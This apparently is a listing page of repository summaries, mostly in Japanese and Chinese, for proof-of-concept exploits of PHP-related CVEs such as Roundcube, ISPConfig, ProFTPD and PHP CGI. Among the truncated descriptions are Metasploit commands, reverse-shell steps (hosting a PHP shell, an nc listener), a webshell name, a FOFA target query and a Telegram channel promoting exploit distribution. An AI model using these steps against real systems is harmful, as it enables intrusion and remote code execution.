CVE-2025-49113-Roundcube_1.6.10

CVE-2025-49113 – Roundcube 1.6.10 认证远程代码执行 ⚠️ 免责声明 本仓库仅供教育和研究目的使用。 所有演示均在受控实验室环境中进行。 未经明确许可对系统进行未经授权的测试或利用是非法且不道德的。作者不对任何滥用此信息的行为负责。 📌 什么是 Roundcube？ Roundcube 是一款广泛使用的、基于浏览器的 IMAP 电子邮件客户端，使用 PHP 编写。它提供了用户友好的网页邮件访问界面，通常被托管服务商、学术机构以及企业内部邮件服务器所部署。 🚨 关于漏洞 CVE-2025-49113 是一个影响 Roundcube 1.6.10 版本...

CVE-2026-48907

CVE-2026-48907 CVE-2026-48907 は、Joomla 用の JCE エディタ拡張機能における重大な不適切なアクセス制御の脆弱性です。これにより、認証されていない攻撃者が新しいエディタプロファイルを作成でき、最終的には影響を受けるシステム上で任意の PHP ファイルのアップロードとリモートコード実行につながる可能性があります。 また、ウェブシェルが必要な場合は、任意のウェブシェルを使用して、alfa.php に名前を変更するか、カスタマイズした名前の PHP を使用できます。ただし、Python コード内の名前を変更する必要があるので、あとは自由に楽しんでください。...

CVE-2009-4623

CVE-2009-4623 Advanced Comment System 1.0 リバースシェル Advanced Comment System 1.0 における複数のPHPリモートファイルインクルードの脆弱性により、リモートの攻撃者が advancedcommentsystem/ ディレクトリ内の 1 index.php および 2 admin.php に対して ACSpath パラメータにURLを含めることで任意のPHPコードを実行できる可能性があります。注: この脆弱性は、管理者が install.php のインストール手順に従っていない場合にのみ発生する可能性があります。...

CVE-2023-46818

Metasploit モジュール Metasploit モジュール root@kitploit: use exploit/linux/http/ispconfiglanguageedit set RHOSTS target.com set USERNAME admin set PASSWORD password123 set LHOST 127.0.0.1 set LPORT 4444 exploit ISPConfig...

CVE-2025-32429

CVE-2025-32429 – PHP PDOプリペアドステートメントにおけるSQLインジェクション このリポジトリには、CVE-2025-32429 の概念実証エクスプロイトが含まれています。 これは、エミュレーションが有効な場合にPHP PDOプリペアドステートメントに影響する脆弱性です。 📄 参考情報 Assetnoteによる元の調査: https://slcyber.io/assetnote-security-research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements...

CVE-2023-46818

CVE-2023-46818 ISPConfig - PHPコードインジェクション PoCエクスプロイト Bash はじめに ISPConfig バージョン = 3.2.11 は、/admin/languageedit.php エンドポイントの records パラメータを介した認証済みPHPコードインジェクションの脆弱性の影響を受けます。悪意のある認証済み管理者ユーザーは、これを悪用して任意のPHPコードを注入し、リモートコード実行につなげることができます。この脆弱性は、動的に生成されるPHPコードで使用される言語ファイル入力をサニタイズせずに処理することに起因します。 使用方法...

CVE-2025-50867

CloudClassroom-PHP-Project 1.0 の takeassessment2.php エンドポイントに SQL インジェクションの脆弱性が存在します。この脆弱性では、Q5 POST パラメータがサニタイズされずに SQL 文に直接埋め込まれます。 脆弱性タイプ : SQL Injection 提供元 : https://github.com/mathurvishal/CloudClassroom-PHP-Project 影響を受ける製品コードベース : https://github.com/mathurvishal/CloudClassroom-PHP-Project...

Modified-CVE-2015-3306-Exploit

Modified-CVE-2015-3306-Exploit 使い方 1. PHPリバースシェルを作成する 2. 同じディレクトリでシェルをホストするサーバーを起動する python3 -m http.server 3. 任意のローカルポートでnetcatリスナーを起動する例: nc -nlvp 任意のポート 4. 以下に示すエクスプロイトの例を実行する python3 modifiedCVE20153306.py --host リモートホスト --port 通常はポート21 --path /var/www または /var/www/html --shell PHPシェルの名前...

CVE-2025-14177

CVE-2025-14177 — PHP getimagesize 堆内存泄漏 仅限授权的渗透测试和安全研究使用。 漏洞 字段| 值 ---|--- CVE| CVE-2025-14177 CWE| CWE-524 使用未初始化的资源 严重性| 中危 — CVSS 6.3 根本原因| phpreadstreamallchunks 将连续的数据块写入 buffer0，覆盖之前的数据，导致未初始化的堆内存泄漏 受影响版本 PHP 8.1.34 PHP 8.2.30 PHP 8.3.29 PHP 8.4.16 PHP 8.5.1 修复版本 PHP 8.1.34 / 8.2.30 / 8.3.2...

symfony

Symfony は、Web アプリケーションとコンソールアプリケーションのための PHP フレームワーク であり、再利用可能な PHP コンポーネント のセットです。Symfony は、数千の Web アプリケーションと、ほとんどの 人気の PHP プロジェクト で使用されています。 インストール Composer で Symfony をインストール します（要件の詳細 を参照）。 Symfony は セマンティックバージョニング に厳密に従い、「長期サポート」（LTS）バージョンを公開し、 リリースプロセス は予測可能で ビジネスに優しいものです。 スポンサー Symfony 8.2 ...

my-cool-demo-php-code

素晴らしいデモPHPコード！ このリポジトリには既知の超悪質なものが含まれています。それは何でしょうか？既知のCVE IDに関連しているのでしょうか？...

CVE-2015-3306

CVE-2015-3306 ProFTPD エクスプロイト このリポジトリには、CVE-2015-3306 用の Python による Proof of Concept（PoC）エクスプロイトが含まれています。 ⚠️ 警告: このツールは、自分が所有するシステム、または明示的なテスト許可を得たシステムに対してのみ使用してください。無断でのエクスプロイトは違法です。 著者 Mohamed EL-KHAROUATI パート 1: CVE-2015-3306 ProFTPD エクスプロイト 説明 CVE-2015-3306 は、ProFTPD 1.3.5b...

CVE-2026-19658

CVE-2026-19658 — Give Tributes 未認証 PHP オブジェクトインジェクション WordPress アドオン Give - Tributes Liquid Web / GiveWP における CVE-2026-19658 の Python 3 による概念実証 スキャナーおよび寄付チェーンエクスプロイトヘルパー 。 | ---|--- プラットフォーム| WordPress プラグイン GiveWP コアが必要 コンポーネント| Give - Tributes 影響を受けるバージョン| ≤ 2.3.1 修正バージョン| 2.3.1.1+ サニタイズされた複数受信...

WordPress Unlimited Elements For Elementor plugin < 2.0.20 - Subscriber+ PHP Object Injection vulnerability

Subscriber+ PHP Object Injection vulnerability discovered by Jakub Herman in WordPress Plugin Unlimited Elements For Elementor Free Widgets, Addons, Templates versions 2.0.20...

recon-test-livewire

关于 Laravel Laravel 是一个具有表达力强、语法优雅的 Web 应用程序框架。我们相信，开发必须是一种愉快且富有创造性的体验，才能真正令人满足。Laravel 通过简化许多 Web 项目中的常见任务来消除开发中的痛苦，例如： 简单、快速的路由引擎。 强大的依赖注入容器。 会话和缓存存储的多种后端。 表达力强、直观的数据库 ORM。 与数据库无关的模式迁移。 稳健的后台任务处理。 实时事件广播。 Laravel 易于使用、功能强大，并提供了构建大型、稳健应用所需的各种工具。 学习 Laravel Laravel 拥有所有现代 Web...

CVE-2024-4577

最速のCVE-2024-4577悪用ツール 説明: PHP CGIリモートコード実行 CVE-2024-4577エクスプロイトツール（exploit.py）は、ウェブサーバーの特定の脆弱性（CVE-2024-4577）を悪用するために設計されたPythonスクリプトです。応答の内容に基づいて、提供されたホストのリストにPOSTリクエストを送信し、それらのホストが脆弱であるかどうかを判定します。 機能 複数ホストに対する高速テストのためのマルチスレッド実行。 カスタムヘッダーとデータを含むPOSTリクエストを送信して、CVE-2024-4577の脆弱性をチェック。...

CVE-2024-34832

CubeCart - ディレクトリトラバーサルによるRCEの可能性 CVE-2024-34832 TL;DR 管理パネルでは、g や node といったパラメータが、.inc.php ファイルを含めるためのパス構築やPHPコードの実行に使用されます。サーバ上の任意の場所に .inc.php ファイルをアップロードできる悪意のあるユーザーは、パストラバーサル脆弱性を悪用してそれらのファイルをインクルードし、悪意のあるコードを実行できます。 前提条件 管理パネルへのアクセス権（権限は一切不要を含め、どのような権限でも動作します） サーバ上の任意の場所に .inc.php...

CVE-2022-29359

学校クラブ申請システム 問題: 未認証の格納型クロスサイトスクリプティングからHTMLインジェクション、RCEへ 著者: Zak Clifford 日付: 12.04.2022 ベンダー: https://www.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html ソフトウェア: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scas0.zip 参照:...

CVE-2023-47253

CVE-2023-47253 CVE-2023-47253 | Qualitor povoaVoComArray$REQUEST; if inarray$REQUEST'nmalias', array'dtiniciomesatual', 'dtfimmesatual', 'dtiniciomespassado', 概念実証（POC） URLにアクセスし、PHPコードを"gridValoresPopHidden"パラメータに含めて送信するだけです。 研究者 https://www.linkedin.com/in/xvinicius/...

CVE-2024-4577-RCE-EXP

TG Join Us https://t.me/WanLiChangChengWanLiChang 私たちに参加して、定期的に各種脆弱性のEXP POCを受け取ろう CVE-2024-4577-RCE-EXP CVE-2024-4577 PHP CGI Windowsプラットフォームのリモートコード実行脆弱性 CVE-2024-4577 PHP CGI Windowsプラットフォームのリモートコード実行脆弱性RCE EXP バッチ利用プログラム FOFA app="XAMPP" 注意事項...